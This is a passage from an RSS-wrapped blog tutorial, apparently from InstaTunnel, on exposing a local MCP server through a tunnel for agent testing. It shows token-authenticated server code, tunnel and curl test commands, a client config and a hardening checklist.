  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scheme&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Bearer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;presented&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nf"&gt;tokenMatches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;presented&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;WWW-Authenticate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Bearer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;unauthorized&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="nf"&gt;next&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// A fresh McpServer is built for every request.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createMcpHandler&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;McpServer&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;local-notes&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1.0.0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;registerTool&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;add-note&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Echo a short note (demo tool, stores nothing)&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;inputSchema&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;object&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;z&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;string&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;text&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`Received: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt; &lt;span class="p"&gt;}]&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;server&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Host/Origin validation: allow loopback names plus the tunnel's public hostname.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;allowedHosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;localhost&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...(&lt;/span&gt;&lt;span class="nx"&gt;PUBLIC_HOST&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;PUBLIC_HOST&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[])];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createMcpExpressApp&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;0.0.0.0&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;allowedHosts&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;node&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;toNodeHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/mcp&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;node&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="c1"&gt;// Bind loopback only; the tunnel agent connects from the same machine.&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`MCP server on http://127.0.0.1:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;PORT&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/mcp`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Why it is written this way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;createMcpExpressApp&lt;/code&gt; applies &lt;code&gt;express.json()&lt;/code&gt; and Host/Origin validation. The SDK docs show the &lt;code&gt;host: '0.0.0.0'&lt;/code&gt; plus &lt;code&gt;allowedHosts&lt;/code&gt; form for serving a non-localhost hostname, and requests without an &lt;code&gt;Origin&lt;/code&gt; header (non-browser MCP clients) pass through. The actual socket is bound separately by &lt;code&gt;app.listen&lt;/code&gt;, and binding it to &lt;code&gt;127.0.0.1&lt;/code&gt; follows the spec’s SHOULD for local servers.&lt;/li&gt;
&lt;li&gt;The auth middleware sits in front of the MCP handler, following the SDK’s own &lt;code&gt;app.all('/mcp', auth, ...)&lt;/code&gt; pattern. It uses a constant-time comparison and returns 401 with a &lt;code&gt;WWW-Authenticate&lt;/code&gt; header, as the spec requires for invalid tokens.&lt;/li&gt;
&lt;li&gt;The tool schema is strict and the tool performs no side effects. Add real tools one at a time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 3: Generate secrets and start the server
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;MCP_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;node &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"console.log(require('crypto').randomBytes(32).toString('hex'))"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;MCP_PUBLIC_HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"acme-mcp-dev.instatunnel.my"&lt;/span&gt;
npx tsx server.ts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 4: Open the tunnel
&lt;/h3&gt;

&lt;p&gt;In a second terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;INSTATUNNEL_MCP_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;node &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"console.log(require('crypto').randomBytes(32).toString('hex'))"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
instatunnel 8787 &lt;span class="nt"&gt;--mcp&lt;/span&gt; &lt;span class="nt"&gt;--transport&lt;/span&gt; v2 &lt;span class="nt"&gt;--subdomain&lt;/span&gt; acme-mcp-dev
instatunnel doctor &lt;span class="nt"&gt;--mcp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use a separate secret for the staged header and for the bearer token, so one leak doesn’t reveal both. If the server answers 403 on every tunneled request, compare the &lt;code&gt;Host&lt;/code&gt; header the tunnel forwards with your &lt;code&gt;allowedHosts&lt;/code&gt; list.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: Test from the remote side
&lt;/h3&gt;

&lt;p&gt;Check that an unauthenticated request is refused, whether by the edge or by your server’s 401:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://acme-mcp-dev.instatunnel.my/mcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/json, text/event-stream"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":1,"method":"tools/list"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then check that an authenticated request works (add the staged header if your setup requires it):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://acme-mcp-dev.instatunnel.my/mcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$MCP_TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept: application/json, text/event-stream"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{"jsonrpc":"2.0","id":1,"method":"tools/list"}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SDK’s own example shows a &lt;code&gt;tools/list&lt;/code&gt; reply arriving as a single SSE &lt;code&gt;message&lt;/code&gt; event. Real MCP clients built on the SDK also send the &lt;code&gt;MCP-Protocol-Version&lt;/code&gt; and &lt;code&gt;Mcp-Method&lt;/code&gt; headers on their own.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 6: Point an MCP client at it
&lt;/h3&gt;

&lt;p&gt;The InstaTunnel README gives this shape for IDE or client settings. Key names vary by client, so check yours:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"instatunnel-remote"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"streamable-http"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://acme-mcp-dev.instatunnel.my/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"headers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nl"&gt;"Authorization"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Bearer YOUR_MCP_TOKEN"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Never put the token in the URL. The spec forbids access tokens in query strings, and URLs leak into logs and history.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 7: Tear it down
&lt;/h3&gt;

&lt;p&gt;Stop the tunnel with &lt;code&gt;Ctrl+C&lt;/code&gt; or &lt;code&gt;instatunnel --kill acme-mcp-dev&lt;/code&gt;, then stop the server. Rotate both secrets before the next session.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hardening Checklist
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bind to loopback&lt;/strong&gt; and validate &lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;Origin&lt;/code&gt;, as the spec requires.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Require authentication on every request.&lt;/strong&gt; For anything beyond a short dev session, use OAuth 2.1 with audience validation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never forward a client’s token&lt;/strong&gt; to a downstream API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rate-limit at the entry point,&lt;/strong&gt; in front of or alongside the token check, to slow brute-force guessing. InstaTunnel’s README says MCP traffic gets stricter limits at the edge, but don’t treat that as your only throttle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minimize tools.&lt;/strong&gt; Disable write, delete and shell-execution tools unless the test needs them, and constrain inputs with schemas. Review tool descriptions as you would code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run the server unprivileged,&lt;/strong&gt; ideally in a container or a dedicated user account with only the files the test needs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep a human in the loop&lt;/strong&gt; for sensitive tool calls where the client supports it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Watch the traffic.&lt;/strong&gt; Use &lt;code&gt;instatunnel --logs&lt;/code&gt; (Pro/Business) and your own server logs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep tunnels short-lived,&lt;/strong&gt; and rotate tokens after each session.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep dependencies current.&lt;/strong&gt; MCP tooling has had serious CVEs, including the Inspector issue above.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Testing agents against local MCP servers is practical, as long as you treat the tunnel as publishing an endpoint with your privileges behind it. Use the official SDK so the transport and headers match the spec. Bind to loopback, validate &lt;code&gt;Host&lt;/code&gt; and &lt;code&gt;Origin&lt;/code&gt;, and require a bearer token in your own server. Add InstaTunnel’s staged token header as an extra outer gate, but verify how it behaves rather than assuming. Expose the smallest set of tools that does the job, and close the tunnel when the test is over.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/streamable-http" rel="noopener noreferrer"&gt;MCP specification 2026-07-28: Streamable HTTP transport&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/2025-11-25/basic/transports" rel="noopener noreferrer"&gt;MCP specification 2025-11-25: Transports&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.net/specification/2026-07-28/basic/authorization.md" rel="noopener noreferrer"&gt;MCP authorization specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://modelcontextprotocol.io/specification/latest/basic/security_best_practices" rel="noopener noreferrer"&gt;MCP security best practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.modelcontextprotocol.io/posts/2026-07-28-release-candidate/" rel="noopener noreferrer"&gt;MCP 2026-07-28 release candidate announcement&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.anthropic.com/news/donating-the-model-context-protocol-and-establishing-of-the-agentic-ai-foundation" rel="noopener noreferrer"&gt;Anthropic: donating MCP to the Agentic AI Foundation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/modelcontextprotocol/typescript-sdk" rel="noopener noreferrer"&gt;MCP TypeScript SDK repository&lt;/a&gt; and &lt;a href="https://ts.sdk.modelcontextprotocol.io/v2/serving/express.html" rel="noopener noreferrer"&gt;v2 Express guide&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cdn.jsdelivr.net/npm/instatunnel@1.1.23/README.md" rel="noopener noreferrer"&gt;InstaTunnel CLI README (npm, v1.1.23)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.recordedfuture.com/blog/anthropic-mcp-inspector-cve-2025-49596" rel="noopener noreferrer"&gt;Recorded Future: MCP Inspector CVE-2025-49596&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://pypi.org/project/mcp-cve-lint/" rel="noopener noreferrer"&gt;mcp-cve-lint: CVE-2025-49596 fix version&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-tool-poisoning-auto-execution-20260701/" rel="noopener noreferrer"&gt;CSA research note: MCP tool poisoning and IDE auto-execution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/modelcontextprotocol/servers" rel="noopener noreferrer"&gt;MCP reference servers repository&lt;/a&gt; and &lt;a href="https://www.github.com/modelcontextprotocol/servers-archived" rel="noopener noreferrer"&gt;archived servers&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/local-first-ai-agent-testing-how-to-expose-local-mcp-servers-safely-without-compromising-host-security" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/local-first-ai-agent-testing-how-to-expose-local-mcp-servers-safely-without-compromising-host-security&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>networking</category>
    </item>
  </channel>
</rss>
